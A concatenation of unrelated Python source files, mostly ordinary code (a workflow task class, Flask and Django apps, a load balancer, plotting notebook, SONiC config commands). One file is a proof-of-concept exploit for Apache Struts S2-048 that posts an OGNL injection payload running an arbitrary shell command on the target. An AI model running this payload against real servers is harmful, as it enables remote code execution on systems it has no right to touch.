__author__ = '@dominofire' class Task: """ Represents a task in the workflow """ def __init__(self, name, cmd): self.name = name """ A name for the task that is unique among workflow scope """ self.command = cmd """ A valid bash command to be executed """ # Used in workflow management self.parents = [] """ A list of Tasks that immediately precedes this task in the Workflow """ # Used in workflow management self.successors = [] """ A list of Tasks that immediately precedes this task in the Workflow """ self.dependency_names = [] """ A list of strings that contains the names of the most inmediate tasks that depends this Task """ self.complexity_factor = 1 """ A measurement that represents how difficult is this Task. A high value on the complexity factor means that it will take more time and resources to completely execute this task""" self.grid_params = {} """ Parameters used in this task. If it is not empty, this task is generated by Grid Search""" self.param_grid = {} """ Parameter Grid to be expanded in this task """ self.include_files = [] """ Paths that points to files required to execute this task """ self.download_files = [] """ Paths that downloads files stored in the cloud """ def add_parent(self, task): self.parents.append(task) def add_successor(self, task): self.successors.append(task) def __eq__(self, other): if not isinstance(other, Task): return False return self.name == other.name def __hash__(self): """ Useful for building dictionaries an sets :return: """ return self.name.__hash__() def __repr__(self): return 'Task:{0}'.format(self.name) def __str__(self): return self.__repr__()
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lachesis/__init__.py
j1fig/lachesis
0
159824
from flask import Flask app = Flask(__name__) import lachesis.views from lachesis.models.database import init_db, clear_db if __name__ == '__main__': app.run(debug=True)
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master/rabbitvcs-master/rabbitvcs-master/rabbitvcs/util/_locale.py
AlexRogalskiy/DevArtifacts
4
17477
<gh_stars>1-10 from __future__ import absolute_import import locale import os from rabbitvcs.util.log import Log import rabbitvcs.util.settings import rabbitvcs.util.helper log = Log("rabbitvcs.util.locale") def initialize_locale(): try: settings = rabbitvcs.util.settings.SettingsManager() sane_default = locale.getdefaultlocale(['LANG', 'LANGUAGE']) # Just try to set the default locale for the user locale.setlocale(locale.LC_ALL, sane_default) # Now, if the user has set a default, try to apply that user_default = settings.get("general", "language") if user_default: locale.setlocale(locale.LC_ALL, (user_default, sane_default[1])) except locale.Error: # If the user's environment does not specify an encoding, Python will # pick a default which might not be available. It seems to pick # ISO8859-1 (latin1), but UTF8 is a better idea on GNU/Linux. log.warning("Could not set default locale (LANG: %s)" % os.environ.get("LANG")) (loc, enc) = sane_default # We should only try this if we have a region to set as well. if loc and enc != "UTF8": try: locale.setlocale(locale.LC_ALL, (loc, "UTF8")) log.warning("Manually set encoding to UTF-8") except locale.Error: # Nope, no UTF8 either. log.warning("Could not set user's locale to UTF-8")
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lib/python3.7/site-packages/gatco_acl/acl.py
teomoney1999/ACT_gatco_project
0
62704
<reponame>teomoney1999/ACT_gatco_project<filename>lib/python3.7/site-packages/gatco_acl/acl.py<gh_stars>0 from .models import Ability from .exceptions import AccessDenied class ACL(object): """This class is used to control the Abilities Integration to one or more Gatco applications""" def __init__(self, app=None, **kwargs): self._authorization_method = None self.get_current_user = self.default_user_loader self.app = None if app is not None: self.init_app(app, **kwargs) def get_app(self, reference_app=None): """Helper method that implements the logic to look up an application.""" if reference_app is not None: return reference_app if self.app is not None: return self.app raise RuntimeError('Application not registered on ACL' ' instance and no application bound' ' to current context') def init_app(self, app, **kwargs): self.app = app if not hasattr(self.app, 'extensions'): self.app.extensions = {} self.app.extensions['acl'] = self def default_user_loader(self, request): raise AccessDenied("Expected user_loader method to be set") #if hasattr(g, 'current_user'): # return g.current_user #elif hasattr(g, 'user'): # return g.user #else: # raise Exception("Excepting current_user on flask's g") def user_loader(self, value): """ Use this method decorator to overwrite the default user loader """ self.get_current_user = value return value def authorization_method(self, value): """ the callback for defining user abilities """ self._authorization_method = value return self._authorization_method def get_authorization_method(self): if self._authorization_method is not None: return self._authorization_method else: raise AccessDenied('Expected authorication method to be set') def ensure(self, request, action, subject): current_user = self.get_current_user(request) if self.cannot(request, action, subject): msg = "{0} does not have {1} access to {2}".format(current_user, action, subject) raise AccessDenied(msg) def can(self, request, action, subject): current_user = self.get_current_user(request) ability = Ability(current_user, self.get_authorization_method()) return ability.can(action, subject) def cannot(self, request, action, subject): return not self.can(request, action, subject)
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python/raspberrypi/examples/gesture_password/gesture_password.py
qusvv/DFRobot_PAJ7620U2
0
100390
<filename>python/raspberrypi/examples/gesture_password/gesture_password.py #-*- coding: utf-8 -*- ''' @file GesturePassword.py @brief Write algorithms in fast mode to realize gesture password. @n Input gesture password in 20sm, if correct, enter the system, otherwise, continue to wait for users to input password. @n The timeout period can be adjusted via macro TIMEOUT, unit(mm). @copyright Copyright (c) 2010 DFRobot Co.Ltd (http://www.dfrobot.com) @licence The MIT License (MIT) @author Alexander(<EMAIL>) @version V1.0 @date 2019-07-16 @get from https://www.dfrobot.com @url https://github.com/DFRobot/DFRobot_PAJ7620U2 ''' import sys sys.path.append('../../') import time from DFRobot_PAJ7620U2 import * paj = DFRobot_PAJ7620U2(1) #Input the correct gestures within TIMEOUT period (mm):up up down down left left right right password = [paj.eGestureUp,paj.eGestureUp,paj.eGestureDown,paj.eGestureDown,paj.eGestureLeft,paj.eGestureLeft,paj.eGestureRight,paj.eGestureRight] index = 0 #The number of the correctly input password correct = False #Whether the input password is correct TIMEOUT=20000 #Set Timeout period, unit(mm) def setup(): print("Gesture recognition system base on PAJ7620U2") while(paj.begin() != 0): print("initial PAJ7620U2 failure! Please check if all the connections are fine, or if the wire sequence is correct?") sleep(0.5) print("PAJ7620U2 init finished, start to test the gesture recognition function.") '''Set to fast detection mode # If the parameter is set to false, the module enters slow detection mode, and it detects one gesture every 2s. We have integrated # some gestures inside the module to make it convenient for beginners. # The slow mode can recognize 9 basic gestures and 4 expanded gestures: move left, right, up, down, forward, backward, clockwise, # counter-clockwise, wave. slowly move left and right, slowly move up and down, slowly move forward and backward, wave slowly and # randomly. # # If the parameter is set to true, the module enters fast detection mode. # The fast mode can recognize 9 gestures: move left, right, up, down, forward, backward, clockwise, counter-clockwise, wave # To detect the combination of these gestures, like wave left, right and left quickly, users needs to design their own algorithms logic. # Since users only use limited gestures in this mode, we are not going to integrate too much expanded gestures in the library. # If necessary, you can complete the algorithm logic in the ino file by yourself. ''' paj.set_gesture_highrate(True); def loop(): '''Read gesture number (return Gesture type) # eGestureNone eGestureRight eGestureLeft eGestureUp eGestureDown eGestureForward # eGestureBackward eGestureClockwise eGestureAntiClockwise eGestureWave eGestureWaveSlowlyDisorder # eGestureWaveSlowlyLeftRight eGestureWaveSlowlyUpDown eGestureWaveSlowlyForwardBackward ''' global index pd_len = len(password) print("password length=%d"%pd_len); start_timestamp = time.time(); print("please input the %d gesture"%(index+1)) correct = False while(correct == False): now = time.time(); if(now - start_timestamp >= TIMEOUT): start_timestamp = now; index = 0; print("timeout,input again") print("please input the %d gesture"(index+1)) gesture = paj.get_gesture(); if(gesture == paj.eGestureNone): continue; print(paj.gesture_description(gesture)); if(gesture == password[index]): index = index + 1 print("please input the %d gesture"%(index + 1)) else: start_timestamp = time.time(); index = 0; print("gesture password is incorrect, try again") print("please input the %d gesture"%(index + 1)) if(index == pd_len): correct = True print("Unlock all gestures successfully, you have entered the system") print("To enter the gesture password, you have spent %d seconds"%((time.time()-start_timestamp)/1000)) #TO DO while True: pass if __name__ == "__main__": setup() while True: loop()
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Data-Visualization/Seaborn/Plotting graphs with Seaborn.py
Akshat-MS/DataScience-Learning
0
139458
#!/usr/bin/env python # coding: utf-8 # # Plotting graphs with Seaborn # In[2]: import numpy as np import pandas as pd import matplotlib.pyplot as plt import seaborn as sns # In[3]: iris = sns.load_dataset('iris') iris.shape # In[4]: iris.head() # In[5]: iris['species'].unique() # # Univariate Analysis # ## Histogram # # #### Definition # # Histogram indicates how numerical data are distributed. or it is a **graphical representation of data points grouped into ranges** that the user specifies. or Histograms illustrate the frequency distribution of data sets. # # #### Key Pointers # # - Histograms show data in a bar graph-like manner by grouping outcomes along a vertical axis. # - The y-axis of a histogram represents occurrences, either by number or by percentage or in simple words the height of each bar represents either a number count or a percentage. # - MACD (Moving Average Convergence Divergence) histograms are used in technical analysis to indicate changes in momentum in the market. # # #### Difference between histograms and bar charts # # Often, histograms are confused with bar charts.Generally, a histogram is used to plot continuous data, in which each bin represents a range of values, while a bar chart shows categorical data # # More techincally,Histograms depict the frequency distribution of variables in a data set. A bar graph, by contrast, represents a graphical comparison of discrete or categorical variables. # # #### A Histogram's Function # # In statistics, histograms are used to indicate the frequencies of particular types of variables occurring within a defined range. As an example, a census that focuses on the demography of a country may show a histogram showing the number of people aged 0 - 10, 11 - 20, 21 - 30, 31 - 40, 41 - 50, etc. # # A histogram can be customized in several ways by the analyst. As an alternative to frequency, one could use percent of total or density as labels. # Another factor to consider would be bucket size. In the above example, there are 5 buckets with an interval of ten. You could change this, for example, to 10 buckets with a 5-minute interval instead. # # A histogram gives a rough idea of the underlying distribution of data, and is often used for density estimation: estimating the probability density function of underlying variables. # # In[6]: iris['petal_length'] # In[9]: sns.histplot(data=iris,x = 'petal_length',bins = 30) # In[13]: sns.histplot(data=iris,x = 'petal_length',bins = 30,hue='species') # ## KDE - Kernel Density Estimation # # contiuous probability density function (PDF) # In[11]: sns.kdeplot(data = iris, x='petal_length') # In[12]: sns.kdeplot(data = iris, x='petal_length',hue='species') plt.show() # ## Distribution plot # In[14]: sns.displot(data=iris,x='sepal_length',bins=40,hue='species') # ## Bivariante Analysis # ## Scatter plot - using seaborn # In[18]: sns.scatterplot(data=iris,x='petal_length',y = 'petal_width',hue='species') #plt.xlim(-5,10) plt.show() # ## scatter plot using matplotlib # In[20]: setosa = iris[iris['species'] == 'setosa'] versicolor = iris[iris['species'] == 'versicolor'] virginica = iris[iris['species'] == 'virginica'] # In[22]: plt.scatter(x=setosa['petal_length'],y=setosa['petal_width'], c = 'blue') plt.scatter(x=versicolor['petal_length'],y=versicolor['petal_width'], c = 'orange') plt.scatter(x=virginica['petal_length'],y=virginica['petal_width'], c = 'green') # ## Joint plot (Default it joins displot and scatterplot) # In[25]: sns.jointplot(data=iris,x='petal_length',y='petal_width',hue='species') plt.show # In[33]: # ['scatter', 'hist', 'hex', 'kde', 'reg', 'resid'] sns.jointplot(data=iris,x='petal_length',y='petal_width',kind='reg') plt.show # In[38]: sns.jointplot(data=iris,x='petal_length',y='petal_width',hue='species',kind='kde') plt.show # In[41]: sns.jointplot(data=iris,x='sepal_length',y='sepal_width',kind='hex') plt.show # ## Multivariate Analysis # In[42]: iris.head() # In[45]: sns.pairplot(data = iris, hue='species') # # Categorial variables # ## Univariate Analysis # In[46]: iris.head() # In[47]: sns.countplot(data=iris,x = 'species') # ## Box plot # In[49]: sns.boxplot(data=iris, y = 'petal_length') # # Boxplot for Multi-variant Analysis # In[51]: sns.boxplot(data=iris,x = 'species', y = 'sepal_length') # ## violinplot shows distribution and outliers. # In[53]: sns.violinplot(data=iris,x = 'species', y = 'sepal_length') # ## Matrix Plots # In[56]: corr = iris.corr() corr # In[60]: sns.heatmap(corr,annot = True) # In[61]: car_crashes = sns.load_dataset('car_crashes').corr() # In[62]: sns.heatmap(car_crashes.corr(),annot = True) # In[ ]:
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mantrid/loadbalancer.py
epio/mantrid
30
14055
<reponame>epio/mantrid import eventlet import errno import logging import traceback import mimetools import resource import json import os import sys import argparse from eventlet import wsgi from eventlet.green import socket from .actions import Unknown, Proxy, Empty, Static, Redirect, NoHosts, Spin from .config import SimpleConfig from .management import ManagementApp from .stats_socket import StatsSocket from .greenbody import GreenBody class Balancer(object): """ Main loadbalancer class. """ nofile = 102400 save_interval = 10 action_mapping = { "proxy": Proxy, "empty": Empty, "static": Static, "redirect": Redirect, "unknown": Unknown, "spin": Spin, "no_hosts": NoHosts, } def __init__(self, external_addresses, internal_addresses, management_addresses, state_file, uid=None, gid=65535, static_dir="/etc/mantrid/static/"): """ Constructor. Takes one parameter, the dict of ports to listen on. The key in this dict is the port number, and the value is if it's an internal endpoint or not. Internal endpoints do not have X-Forwarded-* stripped; other ones do, and have X-Forwarded-For added. """ self.external_addresses = external_addresses self.internal_addresses = internal_addresses self.management_addresses = management_addresses self.state_file = state_file self.uid = uid self.gid = gid self.static_dir = static_dir @classmethod def main(cls): # Parse command-line args parser = argparse.ArgumentParser(description='The Mantrid load balancer') parser.add_argument('--debug', dest='debug', action='store_const', const=True, help='Enable debug logging') parser.add_argument('-c', '--config', dest='config', default=None, metavar="PATH", help='Path to the configuration file') args = parser.parse_args() # Set up logging logger = logging.getLogger() logger.setLevel(logging.DEBUG if args.debug else logging.INFO) # Output to stderr, always sh = logging.StreamHandler() sh.setFormatter(logging.Formatter( fmt = "%(asctime)s - %(levelname)8s: %(message)s", datefmt="%Y-%m-%d %H:%M:%S", )) sh.setLevel(logging.DEBUG) logger.addHandler(sh) # Check they have root access try: resource.setrlimit(resource.RLIMIT_NOFILE, (cls.nofile, cls.nofile)) except (ValueError, resource.error): logging.warning("Cannot raise resource limits (run as root/change ulimits)") # Load settings from the config file if args.config is None: if os.path.exists("/etc/mantrid/mantrid.conf"): args.config = "/etc/mantrid/mantrid.conf" logging.info("Using configuration file %s" % args.config) else: args.config = "/dev/null" logging.info("No configuration file found - using defaults.") else: logging.info("Using configuration file %s" % args.config) config = SimpleConfig(args.config) balancer = cls( config.get_all_addresses("bind", set([(("::", 80), socket.AF_INET6)])), config.get_all_addresses("bind_internal"), config.get_all_addresses("bind_management", set([(("127.0.0.1", 8042), socket.AF_INET), (("::1", 8042), socket.AF_INET6)])), config.get("state_file", "/var/lib/mantrid/state.json"), config.get_int("uid", 4321), config.get_int("gid", 4321), config.get("static_dir", "/etc/mantrid/static/"), ) balancer.run() def load(self): "Loads the state from the state file" try: if os.path.getsize(self.state_file) <= 1: raise IOError("File is empty.") with open(self.state_file) as fh: state = json.load(fh) assert isinstance(state, dict) self.hosts = state['hosts'] self.stats = state['stats'] for key in self.stats: self.stats[key]['open_requests'] = 0 except (IOError, OSError): # There is no state file; start empty. self.hosts = {} self.stats = {} def save(self): "Saves the state to the state file" with open(self.state_file, "w") as fh: json.dump({ "hosts": self.hosts, "stats": self.stats, }, fh) def run(self): # First, initialise the process self.load() self.running = True # Try to ensure the state file is readable state_dir = os.path.dirname(self.state_file) if not os.path.isdir(state_dir): os.makedirs(state_dir) if self.uid is not None: try: os.chown(state_dir, self.uid, -1) except OSError: pass try: os.chown(self.state_file, self.uid, -1) except OSError: pass # Then, launch the socket loops pool = GreenBody( len(self.external_addresses) + len(self.internal_addresses) + len(self.management_addresses) + 1 ) pool.spawn(self.save_loop) for address, family in self.external_addresses: pool.spawn(self.listen_loop, address, family, internal=False) for address, family in self.internal_addresses: pool.spawn(self.listen_loop, address, family, internal=True) for address, family in self.management_addresses: pool.spawn(self.management_loop, address, family) # Give the other threads a chance to open their listening sockets eventlet.sleep(0.5) # Drop to the lesser UID/GIDs, if supplied if self.gid: try: os.setegid(self.gid) os.setgid(self.gid) except OSError: logging.error("Cannot change to GID %i (probably not running as root)" % self.gid) else: logging.info("Dropped to GID %i" % self.gid) if self.uid: try: os.seteuid(0) os.setuid(self.uid) os.seteuid(self.uid) except OSError: logging.error("Cannot change to UID %i (probably not running as root)" % self.uid) else: logging.info("Dropped to UID %i" % self.uid) # Ensure we can save to the state file, or die hard. try: open(self.state_file, "a").close() except (OSError, IOError): logging.critical("Cannot write to state file %s" % self.state_file) sys.exit(1) # Wait for one to exit, or for a clean/forced shutdown try: pool.wait() except (KeyboardInterrupt, StopIteration, SystemExit): pass except: logging.error(traceback.format_exc()) # We're done self.running = False logging.info("Exiting") ### Management ### def save_loop(self): """ Saves the state if it has changed. """ last_hash = hash(repr(self.hosts)) while self.running: eventlet.sleep(self.save_interval) next_hash = hash(repr(self.hosts)) if next_hash != last_hash: self.save() last_hash = next_hash def management_loop(self, address, family): """ Accepts management requests. """ try: sock = eventlet.listen(address, family) except socket.error, e: logging.critical("Cannot listen on (%s, %s): %s" % (address, family, e)) return # Sleep to ensure we've dropped privileges by the time we start serving eventlet.sleep(0.5) # Actually serve management logging.info("Listening for management on %s" % (address, )) management_app = ManagementApp(self) try: with open("/dev/null", "w") as log_dest: wsgi.server( sock, management_app.handle, log = log_dest, ) finally: sock.close() ### Client handling ### def listen_loop(self, address, family, internal=False): """ Accepts incoming connections. """ try: sock = eventlet.listen(address, family) except socket.error, e: if e.errno == errno.EADDRINUSE: logging.critical("Cannot listen on (%s, %s): already in use" % (address, family)) raise elif e.errno == errno.EACCES and address[1] <= 1024: logging.critical("Cannot listen on (%s, %s) (you might need to launch as root)" % (address, family)) return logging.critical("Cannot listen on (%s, %s): %s" % (address, family, e)) return # Sleep to ensure we've dropped privileges by the time we start serving eventlet.sleep(0.5) # Start serving logging.info("Listening for requests on %s" % (address, )) try: eventlet.serve( sock, lambda sock, addr: self.handle(sock, addr, internal), concurrency = 10000, ) finally: sock.close() def resolve_host(self, host, protocol="http"): # Special case for empty hosts dict if not self.hosts: return NoHosts(self, host, "unknown") # Check for an exact or any subdomain matches bits = host.split(".") for i in range(len(bits)): for prefix in ["%s://" % protocol, ""]: subhost = prefix + (".".join(bits[i:])) if subhost in self.hosts: action, kwargs, allow_subs = self.hosts[subhost] if allow_subs or i == 0: action_class = self.action_mapping[action] return action_class( balancer = self, host = host, matched_host = subhost, **kwargs ) return Unknown(self, host, "unknown") def handle(self, sock, address, internal=False): """ Handles an incoming HTTP connection. """ try: sock = StatsSocket(sock) rfile = sock.makefile('rb', 4096) # Read the first line first = rfile.readline().strip("\r\n") words = first.split() # Ensure it looks kind of like HTTP if not (2 <= len(words) <= 3): sock.sendall("HTTP/1.0 400 Bad Request\r\nConnection: close\r\nContent-length: 0\r\n\r\n") return path = words[1] # Read the headers headers = mimetools.Message(rfile, 0) # Work out the host try: host = headers['Host'] except KeyError: host = "unknown" headers['Connection'] = "close" if not internal: headers['X-Forwarded-For'] = address[0] headers['X-Forwarded-Protocol'] = "" headers['X-Forwarded-Proto'] = "" # Make sure they're not using odd encodings if "Transfer-Encoding" in headers: sock.sendall("HTTP/1.0 411 Length Required\r\nConnection: close\r\nContent-length: 0\r\n\r\n") return # Match the host to an action protocol = "http" if headers.get('X-Forwarded-Protocol', headers.get('X-Forwarded-Proto', "")).lower() in ("ssl", "https"): protocol = "https" action = self.resolve_host(host, protocol) # Record us as an open connection stats_dict = self.stats.setdefault(action.matched_host, {}) stats_dict['open_requests'] = stats_dict.get('open_requests', 0) + 1 # Run the action try: rfile._rbuf.seek(0) action.handle( sock = sock, read_data = first + "\r\n" + str(headers) + "\r\n" + rfile._rbuf.read(), path = path, headers = headers, ) finally: stats_dict['open_requests'] -= 1 stats_dict['completed_requests'] = stats_dict.get('completed_requests', 0) + 1 stats_dict['bytes_sent'] = stats_dict.get('bytes_sent', 0) + sock.bytes_sent stats_dict['bytes_received'] = stats_dict.get('bytes_received', 0) + sock.bytes_received except socket.error, e: if e.errno not in (errno.EPIPE, errno.ETIMEDOUT, errno.ECONNRESET): logging.error(traceback.format_exc()) except: logging.error(traceback.format_exc()) try: sock.sendall("HTTP/1.0 500 Internal Server Error\r\n\r\nThere has been an internal error in the load balancer.") except socket.error, e: if e.errno != errno.EPIPE: raise finally: try: sock.close() rfile.close() except: logging.error(traceback.format_exc()) if __name__ == "__main__": Balancer.main()
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resources/panels/maps/images.py
exposit/pythia-oracle
32
42526
# -*- coding: utf-8 -*- ##--------------------------------------------------------------------------------------------------- # # Images Panel # ##--------------------------------------------------------------------------------------------------- import imports from imports import * import config # set this to False to enable this panel def exclude(): return False def onEnter(self): imgLabelArray = [] # grab all images in the current directory's img folder if os.path.exists(config.curr_game_dir + "images"): images = glob.glob(config.curr_game_dir + "images" + os.sep + "*") for img in images: config.imgLabelArray.append( TextInput(text="", multiline=False, size_hint=(None, None), height=config.tallheight, font_size=config.basefont, font_name='maintextfont', background_color=neutral, foreground_color=styles.textcolor) ) self.imgGrid.add_widget(config.imgLabelArray[-1]) pic = Image(source=img, size_hint=(None, None)) pic.size = pic.texture.size if pic.texture.width > self.imgAItem.width: ratio = self.imgAItem.width/pic.texture.width pic.width = self.imgAItem.width pic.height = pic.texture.height * ratio pic.height = pic.height - 50 pic.width = pic.width - 50 self.imgGrid.add_widget(pic) config.imgLabelArray.append( TextInput(text="", multiline=False, size_hint=(None, None), height=config.tallheight, font_size=config.basefont, font_name='maintextfont', background_color=neutral, foreground_color=styles.textcolor) ) self.imgGrid.add_widget(config.imgLabelArray[-1]) self.imgGrid.add_widget(Label(text="", size_hint=(None, None), height=config.tallheight)) try: if len(config.user['image_labels']) > 0: for i in range(len(config.user['image_labels'])): if i <= len(config.imgLabelArray): config.imgLabelArray[i].text = config.user['image_labels'][i] except: pass else: self.imgAItem.parent.remove_widget(self.imgAItem) def initPanel(self): self.imgAItem = AccordionItem(title='Images', background_normal='resources' + os.sep + 'bg_bars' + os.sep + styles.curr_palette["name"].replace (" ", "_") + '_5.png', background_selected='resources' + os.sep + 'bg_bars' + os.sep + styles.curr_palette["name"].replace (" ", "_") + '_5.png', min_space = config.aiheight) self.imgMainBox = BoxLayout(orientation='vertical') self.imgScroll = ScrollView(size_hint=(1, 1)) self.imgGrid = GridLayout(cols=1, spacing=5, size_hint=(None, None)) self.imgGrid.bind(minimum_height=self.imgGrid.setter('height')) self.imgGrid.bind(minimum_width=self.imgGrid.setter('width')) self.imgScroll.add_widget(self.imgGrid) self.imgMainBox.add_widget(self.imgScroll) self.imgAItem.add_widget(self.imgMainBox) return self.imgAItem
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exam1/main.py
uzakotim/programming_for_engineers_ctu
0
72411
# This is a sample Python script. import time import functools import sys import numpy as np # Press Shift+F10 to execute it or replace it with your code. # Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings. sys.setrecursionlimit(10 ** 9) def find_squares_opt(array): arr = np.array(array) return arr**2+1 def find_squares(array): a_list = [] for i in array: a_list.append(i ** 2 + 1) return a_list @functools.lru_cache def fibonacci_fast(n): if n <= 1: return 1 else: return fibonacci_fast(n - 1) + fibonacci_fast(n - 2) def fibonacci(n): if n <= 1: return 1 else: return fibonacci(n - 1) + fibonacci(n - 2) # Press the green button in the gutter to run the script. if __name__ == '__main__': n = 1000 # print("Fibonacci slow") # start = time.time() # print(fibonacci(n)) # print(time.time() -start) print("Squares not-optimized") start = time.time() find_squares(range(n)) # print(find_squares(range(n))) t1 = time.time() - start print(t1) print("Squares optimized") start = time.time() find_squares_opt(range(n)) # print(find_squares_opt(range(n))) t2 = time.time() - start print(t2) print(t1/t2) # See PyCharm help at https://www.jetbrains.com/help/pycharm/
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myproject/myproject/apps/sample_rest/urls.py
gabfl/sample-django
1
58622
<filename>myproject/myproject/apps/sample_rest/urls.py from django.urls import path from rest_framework import routers, serializers, viewsets from . import views urlpatterns = [ path('', views.hello), path('users', views.users), path('user/<int:user_id>', views.user), path('parse', views.parseJson), ]
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app.py
chiselko6/scrabble
2
194540
import os from threading import Thread from flask import Flask, current_app from scrabble.engine import ServerEngine app = Flask(__name__) app.config['PORT'] = os.environ.get('PORT', 5678) @app.before_first_request def start_server(): engine = ServerEngine() t = Thread(target=engine.run, args=(None, app.config['PORT'])) t.start() current_app.engine = engine @app.route('/') def home(): return 'Welcome to Scrabble!' @app.route('/new') def init_game(): game_id = current_app.engine.init_new_game() return str(game_id) @app.route('/start/<int:game_id>/<init_word>') def start_game(game_id: int, init_word: str): current_app.engine.start_game(game_id, init_word) return 'OK' @app.route('/load/<int:game_id>') def load_game(game_id: int): current_app.engine.load_game(game_id) return 'OK' @app.route('/healthcheck') def healthcheck(): return 'OK'
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scripts/convertDiagnoseTargets2Table.py
dgaston/kvasir
0
81379
<filename>scripts/convertDiagnoseTargets2Table.py __author__ = 'dan' import sys import argparse import csv import vcf import pybedtools import tabix from collections import defaultdict #Arguments and commenad line parsing parser = argparse.ArgumentParser() parser.add_argument('-i', '--input', help="Input vcf file") parser.add_argument('-o', '--output', help="Output text file") parser.add_argument('-d', '--dict', help="Dictionary of Ensembl to Gene Names") parser.add_argument('-b', '--bed', help='BED file used with DiagnoseTargets') parser.add_argument('-s', '--samples', help='Samples to consider. Defaults to all samples, comma-separated list') args = parser.parse_args() #Set up sample details samples = args.samples.split(',') sample_header_list = "\t".join(samples) sys.stdout.write("Reading DiagnoseTargets file: %s\n" % args.input) targets_reader = vcf.Reader(open(args.input, 'r')) regions = defaultdict(lambda: defaultdict(lambda : defaultdict(str))) sys.stdout.write("Reading BED file: %s\n" % args.bed) with open(args.bed, 'rU') as csvfile: reader = csv.reader(csvfile, dialect='excel-tab') for row in reader: regions[row[0]][row[1]][row[2]] = row[3] sys.stdout.write("Reading Dictionary file: %s\n" % args.dict) gene_dict = dict() with open(args.dict, 'rU') as csvfile: reader = csv.reader(csvfile, dialect='excel-tab') for row in reader: gene_dict[row[0]] = row[1] with open(args.output, 'w') as out: for record in targets_reader: format_fields = record.FORMAT.split(':') info_fields = record.INFO.split(';') #If no Filter Type definition than all samples passed DiagnoseTargets #Filtering criteria, nothing to do if format_fields[0] == 'FT': #Format sample genotypes in to string genotypes = [] sample_coverage = dict() for sample in samples: sample_coverage[sample] = record.genotype(sample)['FT'] #Retrieve CCDS name info from CCDS BED file and format try: region_record = regions[record.CHROM][int(record.POS - 1)][int(record.INFO['END'])] except: sys.stderr.write("ERROR: Could not find match in regions dictionary for chrom %s, start %s, end %s\n" % (record.CHROM, record.POS, record.INFO['END'])) region_record = "NA"
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config/kube.py
sg893052/sonic-utilities
91
150817
<reponame>sg893052/sonic-utilities<gh_stars>10-100 import click from utilities_common.cli import AbbreviationGroup, pass_db from .utils import log # DB Field names KUBE_SERVER_TABLE_NAME = "KUBERNETES_MASTER" KUBE_SERVER_TABLE_KEY = "SERVER" KUBE_SERVER_IP = "ip" KUBE_SERVER_PORT = "port" KUBE_SERVER_DISABLE = "disable" KUBE_SERVER_INSECURE = "insecure" KUBE_STATE_SERVER_CONNECTED = "connected" KUBE_STATE_SERVER_REACHABLE = "server_reachability" KUBE_STATE_SERVER_IP = "server_ip" KUBE_STATE_SERVER_TS = "last_update_ts" KUBE_LABEL_TABLE = "KUBE_LABELS" KUBE_LABEL_SET_KEY = "SET" def _update_kube_server(db, field, val): db_data = db.cfgdb.get_entry(KUBE_SERVER_TABLE_NAME, KUBE_SERVER_TABLE_KEY) def_data = { KUBE_SERVER_IP: "", KUBE_SERVER_PORT: "6443", KUBE_SERVER_INSECURE: "False", KUBE_SERVER_DISABLE: "False" } for f in def_data: if db_data and f in db_data: if f == field and db_data[f] != val: db.cfgdb.mod_entry(KUBE_SERVER_TABLE_NAME, KUBE_SERVER_TABLE_KEY, {field: val}) log.log_info("modify kubernetes server entry {}={}".format(field,val)) else: # Missing field. Set to default or given value v = val if f == field else def_data[f] db.cfgdb.mod_entry(KUBE_SERVER_TABLE_NAME, KUBE_SERVER_TABLE_KEY, {f: v}) log.log_info("set kubernetes server entry {}={}".format(f,v)) def _label_node(dbconn, name, val=None): set_key = "{}|{}".format(KUBE_LABEL_TABLE, KUBE_LABEL_SET_KEY) client = dbconn.get_redis_client(dbconn.STATE_DB) client.hset(set_key, name, val if val else "false") @click.group(cls=AbbreviationGroup) def kubernetes(): """kubernetes command line""" pass # cmd kubernetes server @kubernetes.group() def server(): """ Server configuration """ pass # cmd kubernetes server IP @server.command() @click.argument('vip', required=True) @pass_db def ip(db, vip): """Specify a kubernetes cluster VIP""" _update_kube_server(db, KUBE_SERVER_IP, vip) # cmd kubernetes server Port @server.command() @click.argument('portval', required=True) @pass_db def port(db, portval): """Specify a kubernetes Service port""" val = int(portval) if (val <= 0) or (val >= (64 << 10)): click.echo('Invalid port value %s' % portval) sys.exit(1) _update_kube_server(db, KUBE_SERVER_PORT, portval) # cmd kubernetes server insecure @server.command() @click.argument('option', type=click.Choice(["on", "off"])) @pass_db def insecure(db, option): """Specify a kubernetes cluster VIP access as insecure or not""" _update_kube_server(db, 'insecure', option == "on") # cmd kubernetes server disable @server.command() @click.argument('option', type=click.Choice(["on", "off"])) @pass_db def disable(db, option): """Specify a kubernetes cluster VIP access is disabled or not""" _update_kube_server(db, 'disable', option == "on") # cmd kubernetes label @kubernetes.group() def label(): """ label configuration """ pass # cmd kubernetes label add <key> <val> @label.command() @click.argument('key', required=True) @click.argument('val', required=True) @pass_db def add(db, key, val): """Add a label to this node""" _label_node(db.db, key, val) # cmd kubernetes label drop <key> @label.command() @click.argument('key', required=True) @pass_db def drop(db, key): """Drop a label from this node""" _label_node(db.db, key)
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EXP/S2-048/uns2-048.py
Octoberr/swm0920
2
196902
<reponame>Octoberr/swm0920 #coding:utf-8 ''' 测试没有成功 2018/06/27 ''' import sys import requests requests.packages.urllib3.disable_warnings() def poccheck(url, cmd='whoami'): result = False header = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36', 'Content-Type': "application/x-www-form-urlencoded" } data = "name=${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o):((#c=#context['com.opensymphony.xwork2.ActionContext.container']).(#g=#c.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#[email protected]@getResponse().getOutputStream()).(#[email protected]@getRuntime().exec('%s')).(@org.apache.commons.io.IOUtils@copy(#p.getInputStream(),#o)).(#o.flush())}&age=1212&__checkbox_bustedBefore=true&description=123" % str( cmd) if 'integration' not in url: url = url + "/EXP-showcase/integration/saveGangster.action" try: response = requests.post(url, data=data, headers=header, verify=False, allow_redirects=False) if response.status_code == 200 and 'EXP-showcase' not in response.content: result = response.content except Exception as e: print str(e) pass return result if __name__ == '__main__': url = 'http://127.0.0.1:8083/integration/saveGangster.action' res = poccheck(url) print res
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src/settings/constants.py
rpSebastian/LeducPoker
1
181895
